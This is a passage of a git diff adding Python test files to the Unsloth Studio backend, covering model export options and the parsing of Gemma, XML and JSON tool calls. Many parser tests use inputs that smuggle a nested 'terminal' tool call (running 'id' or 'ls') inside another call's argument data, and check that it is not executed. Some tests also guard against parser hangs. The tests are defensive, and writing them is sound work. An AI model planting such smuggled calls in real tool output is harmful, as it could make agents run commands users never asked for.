next( + n for n in ast.walk(ast.parse(src)) if isinstance(n, ast.FunctionDef) and n.name == name + ) + return ast.get_source_segment(src, node) + + +# -- capability matrix -------------------------------------------------------------------------- + + +def _patch(monkeypatch, *, torch: bool, device, apple: bool): + monkeypatch.setattr(hw, "_has_torch", lambda: torch) + monkeypatch.setattr(hw, "get_device", lambda: device) + monkeypatch.setattr(hw, "is_apple_silicon", lambda: apple) + + +def test_cpu_with_torch_unsupported_no_accelerator(monkeypatch): + # PyTorch present but no accelerator: unsupported with no_accelerator, not "PyTorch missing". + _patch(monkeypatch, torch = True, device = hw.DeviceType.CPU, apple = False) + cap = hw.export_capability() + assert cap["export_supported"] is False + assert cap["export_unsupported_reason"] == "no_accelerator" + assert "accelerator" in cap["export_unsupported_message"].lower() + # Must NOT tell a user with PyTorch installed to install PyTorch. + assert "PyTorch is not installed" not in cap["export_unsupported_message"] + + +def test_cuda_with_torch_supports_export(monkeypatch): + _patch(monkeypatch, torch = True, device = hw.DeviceType.CUDA, apple = False) + cap = hw.export_capability() + assert cap["export_supported"] is True + assert cap["export_unsupported_reason"] is None + assert cap["export_unsupported_message"] is None + + +def test_xpu_with_torch_supports_export(monkeypatch): + _patch(monkeypatch, torch = True, device = hw.DeviceType.XPU, apple = False) + assert hw.export_capability()["export_supported"] is True + + +def test_mlx_without_torch_supports_export(monkeypatch): + # Apple Silicon MLX exports without PyTorch. + _patch(monkeypatch, torch = False, device = hw.DeviceType.MLX, apple = True) + assert hw.export_capability()["export_supported"] is True + + +def test_no_torch_non_apple_reports_pytorch_missing(monkeypatch): + _patch(monkeypatch, torch = False, device = hw.DeviceType.CPU, apple = False) + cap = hw.export_capability() + assert cap["export_supported"] is False + assert cap["export_unsupported_reason"] == "pytorch_not_installed" + assert "PyTorch is not installed" in cap["export_unsupported_message"] + + +def test_apple_without_mlx_reports_mlx_unavailable(monkeypatch): + # Apple + CPU means the MLX stack is missing; reason is mlx_unavailable regardless of torch. + for has_torch in (False, True): + _patch(monkeypatch, torch = has_torch, device = hw.DeviceType.CPU, apple = True) + cap = hw.export_capability() + assert cap["export_supported"] is False + assert cap["export_unsupported_reason"] == "mlx_unavailable" + assert "MLX" in cap["export_unsupported_message"] + + +# -- import safety without PyTorch -------------------------------------------------------------- + + +def test_export_backend_imports_without_torch(monkeypatch): + """core/export/export.py must import on a --no-torch host (unsloth/torch blocked) and return a + clean 'PyTorch is not installed' message from an export attempt, not crash at import.""" + import importlib + import sys + + real_import = builtins.__import__ + + def blocking_import(name, *args, **kwargs): + top = name.split(".")[0] + if top in {"torch", "unsloth"}: + raise ImportError(f"simulated: {top} not installed") + return real_import(name, *args, **kwargs) + + # Drop any preloaded copies so the guarded import paths re-run under the block. + for m in [k for k in sys.modules if k.split(".")[0] in {"torch", "unsloth"}]: + monkeypatch.delitem(sys.modules, m, raising = False) + monkeypatch.delitem(sys.modules, "core.export.export", raising = False) + monkeypatch.setattr(builtins, "__import__", blocking_import) + + mod = importlib.import_module("core.export.export") + assert mod._IS_MLX is False + assert mod.torch is None + assert mod._export_runtime_available() is False + + be = mod.ExportBackend.__new__(mod.ExportBackend) + be.current_model = None + be.current_tokenizer = None + be.is_peft = False + be._audio_type = None + ok, message, out = be.export_merged_model("/tmp/does-not-matter") + assert ok is False + assert "PyTorch is not installed" in message + + +# -- endpoint / backend wiring (ast) ------------------------------------------------------------ + + +def test_main_endpoints_expose_export_capability(): + m = _src("main.py") + # Both system endpoints spread export_capability() into their response. + assert m.count("**export_capability()") >= 2 + assert '"/api/system/hardware"' in m and '"/api/system"' in m + + +def test_routes_guard_mutating_endpoints(): + r = _src("routes/export.py") + assert "def _ensure_export_supported()" in r + # load + all four export endpoints call the guard. + assert r.count("_ensure_export_supported()") >= 6 + + +def test_export_methods_check_runtime(): + e = _src("core/export/export.py") + assert "def _export_runtime_available()" in e + # Each export method returns the clear message when the runtime is missing. + assert e.count("_export_runtime_available()") >= 5 + assert "_PYTORCH_MISSING_MESSAGE" in e + + +def test_export_capability_reads_no_torch_helper(): + cap = _func_src("utils/hardware/hardware.py", "export_capability") + assert "_has_torch()" in cap and "DeviceType.MLX" in cap and "is_apple_silicon()" in cap diff --git a/studio/backend/tests/test_export_imatrix_compressed.py b/studio/backend/tests/test_export_imatrix_compressed.py new file mode 100644 index 0000000000..f499390add --- /dev/null +++ b/studio/backend/tests/test_export_imatrix_compressed.py @@ -0,0 +1,246 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Tests for the GGUF imatrix option and compressed-tensors merged export wiring. + +Schema checks use the real Pydantic models; the cross-layer threading is verified with ast so it +runs on CPU with no GPU, no model, and no llama.cpp. +""" + +import ast +from pathlib import Path + +import pytest +from pydantic import ValidationError + +from models.export import ExportGGUFRequest, ExportMergedModelRequest + +_BACKEND = Path(__file__).resolve().parent.parent + + +def _src(rel): + return (_BACKEND / rel).read_text(encoding = "utf-8") + + +def _func_src(rel, name): + src = _src(rel) + node = next( + n for n in ast.walk(ast.parse(src)) if isinstance(n, ast.FunctionDef) and n.name == name + ) + return ast.get_source_segment(src, node) + + +# -- schema ------------------------------------------------------------------------------------- + + +def test_gguf_request_imatrix_defaults_and_set(): + assert ExportGGUFRequest(save_directory = "/tmp/x").imatrix is False + assert ExportGGUFRequest(save_directory = "/tmp/x").imatrix_path is None + r = ExportGGUFRequest(save_directory = "/tmp/x", imatrix = True, imatrix_path = "/i.dat") + assert r.imatrix is True and r.imatrix_path == "/i.dat" + + +def test_merged_request_accepts_compressed_formats(): + for fmt in ("16-bit (FP16)", "FP8 (compressed-tensors)", "NVFP4 (compressed-tensors)"): + assert ExportMergedModelRequest(save_directory = "/tmp/x", format_type = fmt).format_type == fmt + + +def test_merged_request_rejects_unknown_format(): + with pytest.raises(ValidationError): + ExportMergedModelRequest(save_directory = "/tmp/x", format_type = "bogus") + + +# -- threading (ast) ---------------------------------------------------------------------------- + + +def test_export_gguf_threads_imatrix_to_save_and_push(): + # imatrix_file must reach both save paths, but only via the conditional **imatrix_kw. + g = _func_src("core/export/export.py", "export_gguf") + assert g.count("**imatrix_kw") >= 2 + assert 'imatrix_kw = {"imatrix_file": imatrix_file} if imatrix_file is not None else {}' in g + # Unconditional pass-through (the old wiring) must be gone. + assert "imatrix_file = imatrix_file" not in g + + +def test_export_gguf_guards_unsupported_imatrix_build(): + # An older unsloth without imatrix_file support gets a clean error, not a TypeError. + g = _func_src("core/export/export.py", "export_gguf") + assert "_supports_kwarg(" in g and '"imatrix_file"' in g + + +def test_export_merged_guards_unsupported_compressed_build(): + m = _func_src("core/export/export.py", "export_merged_model") + assert "_compressed_export_supported()" in m + + +def test_supports_kwarg_helper(): + # exec just the helper source so the test stays free of export.py's heavy import chain. + ns = {} + exec(_func_src("core/export/export.py", "_supports_kwarg"), ns) + supports = ns["_supports_kwarg"] + + def has_it(a, imatrix_file = None): + pass + + def lacks_it(a): + pass + + def via_kwargs(a, **kw): + pass + + assert supports(has_it, "imatrix_file") is True + assert supports(lacks_it, "imatrix_file") is False + assert supports(via_kwargs, "imatrix_file") is True + + +def test_orchestrator_and_worker_pass_imatrix(): + assert "imatrix_file" in _func_src("core/export/orchestrator.py", "export_gguf") + assert 'imatrix_file = cmd.get("imatrix_file")' in _src("core/export/worker.py") + + +def test_route_resolves_imatrix_file(): + assert "request.imatrix_path or (True if request.imatrix else None)" in _src("routes/export.py") + + +def test_export_merged_maps_compressed_to_save_method(): + m = _func_src("core/export/export.py", "export_merged_model") + assert "is_compressed" in m and '"fp8"' in m and '"nvfp4"' in m + + +def test_compressed_hub_push_uploads_local_dir_without_recompressing(): + # A compressed / torchao Hub push must upload the built output_path, not re-quantize. + m = _func_src("core/export/export.py", "export_merged_model") + assert "elif (is_compressed or is_torchao) and output_path and Path(output_path).is_dir():" in m + assert "hf_api.upload_folder(" in m and "folder_path = output_path" in m + + +# -- torchao portable FP8/INT8 (device-agnostic, no NVIDIA GPU) --------------------------------- + + +def test_merged_request_accepts_torchao_aliases(): + # Portable torchao aliases pass through compressed_method (validated in the backend registry). + for alias in ("torchao_fp8", "torchao_int8"): + r = ExportMergedModelRequest(save_directory = "/tmp/x", compressed_method = alias) + assert r.compressed_method == alias + + +def test_export_merged_routes_torchao_and_skips_nvidia_guard(): + m = _func_src("core/export/export.py", "export_merged_model") + # torchao is classified separately and its suffix comes from the torchao normalizer. + assert "_normalize_torchao_method(compressed_alias)" in m + assert "is_torchao = torchao_info is not None" in m + assert "is_compressed = compressed_alias is not None and not is_torchao" in m + # The NVIDIA guard applies to compressed-tensors only, not torchao. + assert "_has_nvidia_gpu()" in m + # torchao routes through save_method just like compressed. + assert "elif is_compressed or is_torchao:" in m + + +def test_export_merged_nvidia_guard_present(): + m = _func_src("core/export/export.py", "export_merged_model") + assert "requires an NVIDIA GPU" in m + + +def test_has_nvidia_gpu_helper_reads_hardware_module(): + h = _func_src("core/export/export.py", "_has_nvidia_gpu") + assert "DeviceType.CUDA" in h and "IS_ROCM" in h + + +def test_export_merged_relaxes_is_peft_guard(): + # Non-PEFT (Local/HF base) models can now export merged; the old hard block must be gone. + m = _func_src("core/export/export.py", "export_merged_model") + assert "Use 'Export Base Model' instead." not in m + + +def test_unsloth_save_has_torchao_registry_and_path(): + # Read unsloth/save.py as text (not import) so this runs in the CPU suite without unsloth. + save_py = (_BACKEND.parent.parent / "unsloth" / "save.py").read_text(encoding = "utf-8") + assert "def _normalize_torchao_method" in save_py + assert "def _unsloth_save_torchao" in save_py + assert "TORCHAO_EXPORT_SCHEMES = {" in save_py + # torchao aliases must map to (scheme, suffix) so the backend routes to the torchao path. + assert '"torchao_fp8": ("fp8", "torchao-fp8")' in save_py + assert '"torchao_int8": ("int8", "torchao-int8")' in save_py + + +# -- GGUF multi-quant list ---------------------------------------------------------------------- + + +def test_gguf_request_accepts_list_of_quants(): + r = ExportGGUFRequest(save_directory = "/tmp/x", quantization_method = ["Q4_K_M", "Q8_0"]) + assert r.quantization_method == ["Q4_K_M", "Q8_0"] + r2 = ExportGGUFRequest(save_directory = "/tmp/x", quantization_method = "Q4_K_M") + assert r2.quantization_method == "Q4_K_M" + + +def test_export_gguf_normalizes_quant_list(): + g = _func_src("core/export/export.py", "export_gguf") + assert "isinstance(quantization_method, (list, tuple))" in g + assert "quant_methods" in g + + +# -- GGUF LoRA adapter export ------------------------------------------------------------------- + + +def test_lora_request_has_gguf_fields(): + from models.export import ExportLoRAAdapterRequest + + r = ExportLoRAAdapterRequest(save_directory = "/tmp/x") + assert r.gguf is False and r.gguf_outtype == "q8_0" + r2 = ExportLoRAAdapterRequest(save_directory = "/tmp/x", gguf = True, gguf_outtype = "q8_0") + assert r2.gguf is True and r2.gguf_outtype == "q8_0" + + +def test_lora_request_rejects_bad_outtype(): + from models.export import ExportLoRAAdapterRequest + with pytest.raises(ValidationError): + ExportLoRAAdapterRequest(save_directory = "/tmp/x", gguf_outtype = "q3_k") + + +def test_export_lora_wires_gguf_save_method(): + la = _func_src("core/export/export.py", "export_lora_adapter") + assert 'save_method = "lora"' in la + assert "quantization_method = outtype" in la + + +def test_orchestrator_and_worker_pass_lora_gguf(): + o = _func_src("core/export/orchestrator.py", "export_lora_adapter") + assert '"gguf": gguf' in o and '"gguf_outtype": gguf_outtype' in o + w = _src("core/export/worker.py") + assert 'gguf = cmd.get("gguf", False)' in w + assert 'gguf_outtype = cmd.get("gguf_outtype", "q8_0")' in w + + +def test_route_passes_lora_gguf(): + r = _src("routes/export.py") + assert "gguf = request.gguf" in r and "gguf_outtype = request.gguf_outtype" in r + + +# -- compressed_method ("all formats" dropdown) ------------------------------------------------- + + +def test_merged_request_accepts_compressed_method(): + # Defaults to None; any scheme alias is accepted (validation happens in the backend registry). + assert ExportMergedModelRequest(save_directory = "/tmp/x").compressed_method is None + for alias in ("fp8", "fp8_static", "w8a8", "w8a16", "w4a16", "mxfp4", "mxfp8", "nvfp4"): + r = ExportMergedModelRequest(save_directory = "/tmp/x", compressed_method = alias) + assert r.compressed_method == alias + + +def test_export_merged_resolves_alias_via_registry(): + # The scheme + suffix must come from unsloth.save's registry normalizer, not a hardcoded dict. + m = _func_src("core/export/export.py", "export_merged_model") + assert "compressed_method" in m + assert "_normalize_compressed_method(compressed_alias)" in m + assert "compressed_alias = compressed_method or _LABEL_TO_ALIAS.get(format_type)" in m + assert "compressed_suffix" in m and 'f"{save_directory}-{compressed_suffix}"' in m + + +def test_orchestrator_and_worker_pass_compressed_method(): + o = _func_src("core/export/orchestrator.py", "export_merged_model") + assert "compressed_method" in o and '"compressed_method": compressed_method' in o + assert 'compressed_method = cmd.get("compressed_method")' in _src("core/export/worker.py") + + +def test_route_passes_compressed_method(): + assert "compressed_method = request.compressed_method" in _src("routes/export.py") diff --git a/studio/backend/tests/test_gemma_tool_parse_edge_cases.py b/studio/backend/tests/test_gemma_tool_parse_edge_cases.py new file mode 100644 index 0000000000..e3055d2127 --- /dev/null +++ b/studio/backend/tests/test_gemma_tool_parse_edge_cases.py @@ -0,0 +1,411 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Gemma-native tool-call parsing edge cases: commas inside bare string values, +and markers inside another call's argument data staying data.""" + +from __future__ import annotations + +import json +import sys +from pathlib import Path + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +from core.inference.tool_call_parser import ( + _gemma_parse_value, + parse_tool_calls_from_text, +) +from core.tool_healing import strip_tool_call_markup + + +def _args(call: dict) -> dict: + return json.loads(call["function"]["arguments"]) + + +def test_bare_string_argument_with_comma_is_kept(): + calls = parse_tool_calls_from_text( + "<|tool_call>call:get_weather{location:New York, NY,unit:celsius}" + ) + assert len(calls) == 1, calls + assert calls[0]["function"]["name"] == "get_weather" + assert _args(calls[0]) == {"location": "New York, NY", "unit": "celsius"} + + +def test_normal_multi_key_arguments_still_split(): + calls = parse_tool_calls_from_text('<|tool_call>call:f{a:1,b:hello,c:"x,y"}') + assert len(calls) == 1, calls + assert _args(calls[0]) == {"a": 1, "b": "hello", "c": "x,y"} + + +def test_empty_bare_value_becomes_empty_string_not_dropped(): + # An empty bare value (``{query:}``) must serialise as ``""`` (``{"query":}`` is invalid JSON and dropped the call). + calls = parse_tool_calls_from_text("<|tool_call>call:search{query:,unit:celsius}") + assert len(calls) == 1, calls + assert _args(calls[0]) == {"query": "", "unit": "celsius"} + + only = parse_tool_calls_from_text("<|tool_call>call:get{q:}") + assert len(only) == 1, only + assert _args(only[0]) == {"q": ""} + + +def test_bare_value_with_timestamps_after_comma_is_kept(): + # A comma before digits-then-colon (timestamp/ratio) is value text, not a key. + calls = parse_tool_calls_from_text( + "<|tool_call>call:remind{query:meet at 10:00, 11:00 tomorrow,priority:high}" + ) + assert len(calls) == 1, calls + assert _args(calls[0]) == {"query": "meet at 10:00, 11:00 tomorrow", "priority": "high"} + + +def test_wrapperless_bare_value_with_timestamps_after_comma_is_kept(): + # The wrapper-less Gemma form (no <|tool_call> markers) goes through the + # _gemma_parse_stripped_body scanner and its _GEMMA_KEY_RE. + calls = parse_tool_calls_from_text("call:web_search{query:meet at 10:00, 11:00 tomorrow}") + assert len(calls) == 1, calls + assert calls[0]["function"]["name"] == "web_search" + assert _args(calls[0]) == {"query": "meet at 10:00, 11:00 tomorrow"} + + +def test_marker_inside_json_argument_is_not_a_second_call(): + content = ( + '{"name":"python","arguments":{"code":' + '"x = 1 # <|tool_call>call:terminal{command:ls}"}}' + ) + calls = parse_tool_calls_from_text(content) + assert [c["function"]["name"] for c in calls] == ["python"], calls + + +def test_two_separate_gemma_calls_both_parse(): + content = "<|tool_call>call:a{x:1} and <|tool_call>call:b{y:2}" + calls = parse_tool_calls_from_text(content) + assert [c["function"]["name"] for c in calls] == ["a", "b"], calls + assert _args(calls[0]) == {"x": 1} + assert _args(calls[1]) == {"y": 2} + + +def test_mixed_format_calls_preserve_document_order(): + content = ( + "<|tool_call>call:create{path:a} then " + '{"name":"read","arguments":{"path":"a"}}' + ) + calls = parse_tool_calls_from_text(content) + assert [c["function"]["name"] for c in calls] == ["create", "read"], calls + + +def test_json_marker_inside_gemma_argument_is_not_a_second_call(): + content = ( + '<|tool_call>call:python{code:<|"|>' + 'print({"name":"terminal","arguments":{"command":"ls"}})' + '<|"|>}' + ) + calls = parse_tool_calls_from_text(content) + assert [c["function"]["name"] for c in calls] == ["python"], calls + + +def test_nested_gemma_marker_in_unquoted_arg_does_not_run_inner_call(): + # An UNQUOTED Gemma value containing a literal marker: the marker is nested in the outer + # candidate span, so it must not be promoted to a standalone `terminal` call (no tool call). + content = "<|tool_call>call:python{code:<|tool_call>call:terminal{command:ls}}" + calls = parse_tool_calls_from_text(content) + assert "terminal" not in [c["function"]["name"] for c in calls], calls + + +def test_bare_string_array_argument_is_quoted(): + calls = parse_tool_calls_from_text("<|tool_call>call:label{labels:[bug,ui]}") + assert len(calls) == 1, calls + assert _args(calls[0]) == {"labels": ["bug", "ui"]} + + +def test_array_keeps_numbers_and_quoted_elements(): + calls = parse_tool_calls_from_text( + '<|tool_call>call:f{nums:[1,2],tags:[<|"|>a,b<|"|>,c]}' + ) + assert _args(calls[0]) == {"nums": [1, 2], "tags": ["a,b", "c"]} + + +def test_array_of_objects_is_normalised(): + calls = parse_tool_calls_from_text( + "<|tool_call>call:batch{items:[{path:a,mode:r},{path:b,mode:w}]}" + ) + assert len(calls) == 1, calls + assert _args(calls[0]) == {"items": [{"path": "a", "mode": "r"}, {"path": "b", "mode": "w"}]} + + +def test_nested_array_elements_are_normalised(): + calls = parse_tool_calls_from_text("<|tool_call>call:grid{cells:[[a,b],[c,d]]}") + assert _args(calls[0]) == {"cells": [["a", "b"], ["c", "d"]]} + + +def test_gemma_marker_inside_xml_parameter_is_not_a_second_call(): + content = ( + "" + "x = 1 # <|tool_call>call:terminal{command:ls}" + "" + ) + calls = parse_tool_calls_from_text(content) + assert [c["function"]["name"] for c in calls] == ["python"], calls + assert "terminal" in _args(calls[0])["code"] + + +def test_json_marker_inside_xml_parameter_is_not_a_second_call(): + content = ( + "" + 'run({"name":"terminal","arguments":{"command":"ls"}})' + "" + ) + calls = parse_tool_calls_from_text(content) + assert [c["function"]["name"] for c in calls] == ["python"], calls + + +def test_unclosed_think_literal_inside_tool_argument_does_not_hide_later_call(): + # A literal inside a completed call's arguments is argument data; both calls must parse. + text = '[TOOL_CALLS]a{"x":"literal marker"} b[ARGS]{"y":2}' + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["a", "b"], calls + + +def test_real_think_block_with_rehearsal_inside_still_skips_only_the_rehearsal(): + # A genuine reasoning block still hides its rehearsal while a real call after it parses. + text = 'web_search[ARGS]{"q":"draft"}real[ARGS]{"q":"go"}' + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["real"], calls + + +def test_wrapperless_nested_object_argument_is_parsed(): + # skip_special_tokens stream: wrapper and <|"|> markers stripped, so a nested object arrives bare. + calls = parse_tool_calls_from_text("call:f{loc:{city:NYC},n:3}") + assert len(calls) == 1 + assert _args(calls[0]) == {"loc": {"city": "NYC"}, "n": 3} + + +def test_wrapperless_array_argument_is_parsed(): + calls = parse_tool_calls_from_text("call:label{labels:[bug,ui],n:2}") + assert len(calls) == 1 + assert _args(calls[0]) == {"labels": ["bug", "ui"], "n": 2} + + +def test_wrapperless_deeply_nested_object_and_array_are_preserved(): + # The single-pass parser must keep multi-level nesting (objects inside + # objects, arrays inside arrays) intact, not flatten or drop it. + calls = parse_tool_calls_from_text( + "call:f{loc:{city:NYC,geo:{lat:1,lng:2}},tags:[a,b,[c,d]],n:3}" + ) + assert len(calls) == 1 + assert _args(calls[0]) == { + "loc": {"city": "NYC", "geo": {"lat": 1, "lng": 2}}, + "tags": ["a", "b", ["c", "d"]], + "n": 3, + } + + +def test_gemma_parse_array_advances_on_stray_brace(): + # Regression: a stray '}' / ']' / ',' where an array element is expected must + # not stall _gemma_parse_value at the same index (it looped forever before). + from core.inference.tool_call_parser import _gemma_parse_array + + items, end, closed = _gemma_parse_array("[a,}]", 0) + assert end == 5 and closed is True # consumed through the closing ']' + assert items[0] == "a" + + +def test_gemma_close_marker_inside_quoted_arg_is_not_leaked_when_stripping(): + # Parse keeps the quoted close marker as data; strip removes the whole span. + text = '<|tool_call>call:python{code:<|"|>print("")<|"|>}' + calls = parse_tool_calls_from_text(text) + assert len(calls) == 1, calls + assert _args(calls[0]) == {"code": 'print("")'} + assert strip_tool_call_markup("before " + text + " after") == "before after" + assert strip_tool_call_markup("before " + text + " after", final = True) == "before after" + + +def test_nested_xml_in_malformed_gemma_call_does_not_execute(): + # The failed Gemma candidate's span still covers its nested . + text = ( + "<|tool_call>call:outer{code:id" + ", broken:{x}}" + ) + for allow_incomplete in (True, False): + calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete) + assert "terminal" not in [c["function"]["name"] for c in calls], calls + + +def test_unbalanced_gemma_call_with_xml_does_not_execute(): + # Unclosed braces cover to EOF, so the trailing is excluded. + text = ( + "<|tool_call>call:outer{code:" + "id" + ) + for allow_incomplete in (True, False): + calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete) + assert "terminal" not in [c["function"]["name"] for c in calls], calls + + +def test_standalone_function_xml_still_parses(): + text = "id" + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["terminal"], calls + + +def test_xml_between_braces_and_close_marker_does_not_execute(): + # Coverage runs to the close marker, so in the gap is data. + text = ( + "<|tool_call>call:outer{broken:{x}}" + "id" + ) + for allow_incomplete in (True, False): + calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete) + assert "terminal" not in [c["function"]["name"] for c in calls], calls + + +def test_balanced_inner_call_inside_unclosed_outer_does_not_execute(): + text = "<|tool_call>call:outer{code:<|tool_call>call:terminal{command:id}" + for allow_incomplete in (True, False): + calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete) + assert "terminal" not in [c["function"]["name"] for c in calls], calls + + +def test_strip_preserves_text_after_malformed_gemma_close(): + # Junk before the close is a malformed span: strip through it, keep the tail. + text = "pre <|tool_call>call:t{a:1} note post" + assert strip_tool_call_markup(text) == "pre post" + assert strip_tool_call_markup(text, final = True) == "pre post" + + +def test_malformed_closed_gemma_span_is_stripped(): + assert ( + strip_tool_call_markup('before <|tool_call>{"name":"x"} after') + == "before after" + ) + + +def test_valid_call_after_missing_close_is_recovered(): + # A close-less call covers only its braces, so the later call is recovered. + text = "<|tool_call>call:a{x:1} <|tool_call>call:b{y:2}" + names_inc = [ + c["function"]["name"] for c in parse_tool_calls_from_text(text, allow_incomplete = True) + ] + assert "b" in names_inc, names_inc + names_strict = [ + c["function"]["name"] for c in parse_tool_calls_from_text(text, allow_incomplete = False) + ] + assert names_strict == ["b"], names_strict + + +def test_strip_non_final_keeps_incomplete_gemma_block(): + text = "before <|tool_call>call:t{" + assert strip_tool_call_markup(text) == text + assert strip_tool_call_markup(text, final = True) == "before" + + +def test_json_call_between_gemma_braces_and_close_does_not_execute(): + # A JSON call between the outer's braces and its close is covered data. + text = ( + "<|tool_call>call:outer{broken:{x}}" + '{"name":"terminal","arguments":{"command":"id"}}' + "" + ) + for allow_incomplete in (True, False): + calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete) + assert "terminal" not in [c["function"]["name"] for c in calls], calls + + +def test_gemma_call_between_gemma_braces_and_close_does_not_execute(): + # Same escape with a Gemma-native inner marker. + text = "<|tool_call>call:outer{broken:{x}}<|tool_call>call:terminal{command:id}" + for allow_incomplete in (True, False): + calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete) + assert "terminal" not in [c["function"]["name"] for c in calls], calls + + +def test_strip_final_keeps_text_after_closed_xml_with_inner_gemma_opener(): + # The to-EOF Gemma sweep must not eat visible text after . + text = ( + 'before print("<|tool_call>") after' + ) + assert strip_tool_call_markup(text, final = True) == "before after" + assert strip_tool_call_markup(text) == "before after" + + +def test_strip_final_keeps_text_after_closed_block_with_call_form_gemma_opener(): + # A call-form Gemma opener quoted in a closed block must not truncate it. + xml = "<|tool_call>call:t{" + json_block = ( + '{"name":"python","arguments":{"code":"<|tool_call>call:t{"}}' + ) + for block in (xml, json_block): + text = "before " + block + " after" + assert strip_tool_call_markup(text, final = True) == "before after", block + assert strip_tool_call_markup(text) == "before after", block + + +def test_function_sibling_after_close_less_gemma_marker_is_recovered(): + # The close-less marker covers only its braces; the XML sibling is recovered. + text = ( + "<|tool_call>call:bad{broken:{x}} " + "id" + ) + for allow_incomplete in (True, False): + calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete) + assert [c["function"]["name"] for c in calls] == ["terminal"], calls + + +def test_valid_call_after_close_less_marker_with_quoted_close_token_is_recovered(): + # A close token quoted in the later call must not extend the earlier + # close-less marker's coverage over that call. + gemma = '<|tool_call>call:a{x:1} <|tool_call>call:b{note:<|"|><|"|>}' + names = [ + c["function"]["name"] for c in parse_tool_calls_from_text(gemma, allow_incomplete = False) + ] + assert names == ["b"], names + json_text = ( + '{"name":"a","arguments":{}} ' + '{"name":"b","arguments":{"x":""}}' + ) + names_j = [ + c["function"]["name"] for c in parse_tool_calls_from_text(json_text, allow_incomplete = False) + ] + assert "b" in names_j, names_j + + +def test_gemma_parse_value_always_advances_on_stray_delimiter(): + # A stray delimiter (`,`, `}`, `]`) at the primitive position must still advance the + # index by at least one, or a caller looping on it spins forever at 100% CPU (DoS). + for delim in (",", "}", "]"): + text = delim + "rest" + value, nxt, _explicit = _gemma_parse_value(text, 0) + assert nxt > 0, (delim, value, nxt) + + +def test_malformed_gemma_array_does_not_hang(): + # ``[},]`` puts a stray ``}`` at the primitive position inside a list body. + # On the buggy parser this hangs the server; guard with a wall-clock timeout + # so the regression fails loudly instead of blocking CI forever. + import threading + + result: dict = {} + + def _run(): + result["calls"] = parse_tool_calls_from_text("<|tool_call>call:f{a:[},]}") + + t = threading.Thread(target = _run, daemon = True) + t.start() + t.join(timeout = 10.0) + assert not t.is_alive(), "parse_tool_calls_from_text hung on malformed array input" + + +def test_malformed_gemma_mapping_value_does_not_hang(): + # A stray ``}`` where a mapping value is expected must also terminate. + import threading + + result: dict = {} + + def _run(): + result["calls"] = parse_tool_calls_from_text("<|tool_call>call:f{a:}},b:1}") + + t = threading.Thread(target = _run, daemon = True) + t.start() + t.join(timeout = 10.0) + assert not t.is_alive(), "parse_tool_calls_from_text hung on malformed mapping input" diff --git a/studio/backend/tests/test_gguf_tool_non_streaming.py b/studio/backend/tests/test_gguf_tool_non_streaming.py new file mode 100644 index 0000000000..d9044824cb --- /dev/null +++ b/studio/backend/tests/test_gguf_tool_non_streaming.py @@ -0,0 +1,172 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Regression tests for `stream:false` on the GGUF agentic tool path (#6570). + +When server-side tools are enabled (e.g. `unsloth studio run --model ...`, +which forces the tool policy on process-wide), a plain chat request used to be +routed into the tool loop, which returned an SSE body *regardless* of +`stream:false` -- breaking non-streaming clients and health checks like +LiteLLM. These tests drive the real route with a fake tool-capable backend and +assert the non-streaming path now returns a single JSON `chat.completion`, +while `stream:true` still streams. +""" + +from fastapi import FastAPI +from fastapi.testclient import TestClient + +from auth.authentication import get_current_subject +import routes.inference as inference_route + + +class _ToolGgufBackend: + is_loaded = True + model_identifier = "test/model.gguf" + _is_audio = False + is_vision = False + supports_tools = True + + def generate_chat_completion_with_tools(self, **kwargs): + # The agentic loop runs one tool, then the model answers. Event shapes + # mirror the real GGUF loop (tool_start/tool_end/content/metadata). + yield { + "type": "tool_start", + "tool_name": "python", + "tool_call_id": "call_1", + "arguments": {"code": "print(6 * 7)"}, + } + yield { + "type": "tool_end", + "tool_name": "python", + "tool_call_id": "call_1", + "result": "42\n", + } + yield {"type": "content", "text": "The answer is 42."} + yield { + "type": "metadata", + "usage": {"prompt_tokens": 11, "completion_tokens": 5, "total_tokens": 16}, + "timings": {"prompt_n": 11, "predicted_n": 5}, + "finish_reason": "stop", + } + + +def _client(monkeypatch, backend = None): + monkeypatch.setattr( + inference_route, "get_llama_cpp_backend", lambda: backend or _ToolGgufBackend() + ) + # Tools forced on -- the same effect as the CLI `run --model` tool policy. + monkeypatch.setattr(inference_route, "_effective_enable_tools", lambda payload: True) + + async def _fake_select(payload, **_kwargs): + return [{"type": "function", "function": {"name": "python"}}] + + monkeypatch.setattr(inference_route, "_select_request_tools", _fake_select) + + app = FastAPI() + app.include_router(inference_route.router) + app.dependency_overrides[get_current_subject] = lambda: "test-user" + return TestClient(app) + + +def _payload(stream: bool): + return { + "messages": [{"role": "user", "content": "What is 6 * 7? Use python."}], + "stream": stream, + "enable_tools": True, + } + + +def test_non_streaming_tool_call_returns_single_json(monkeypatch): + response = _client(monkeypatch).post("/chat/completions", json = _payload(stream = False)) + + assert response.status_code == 200 + # The bug returned text/event-stream here; it must be a single JSON object. + assert response.headers["content-type"].startswith("application/json") + + body = response.json() + assert body["object"] == "chat.completion" + choice = body["choices"][0] + assert choice["message"]["content"] == "The answer is 42." + assert choice["finish_reason"] == "stop" + assert body["usage"]["prompt_tokens"] == 11 + assert body["usage"]["completion_tokens"] == 5 + assert body["usage"]["total_tokens"] == 16 + + +def test_streaming_tool_call_still_streams(monkeypatch): + # The parallel path is untouched: stream:true keeps returning SSE. + response = _client(monkeypatch).post("/chat/completions", json = _payload(stream = True)) + + 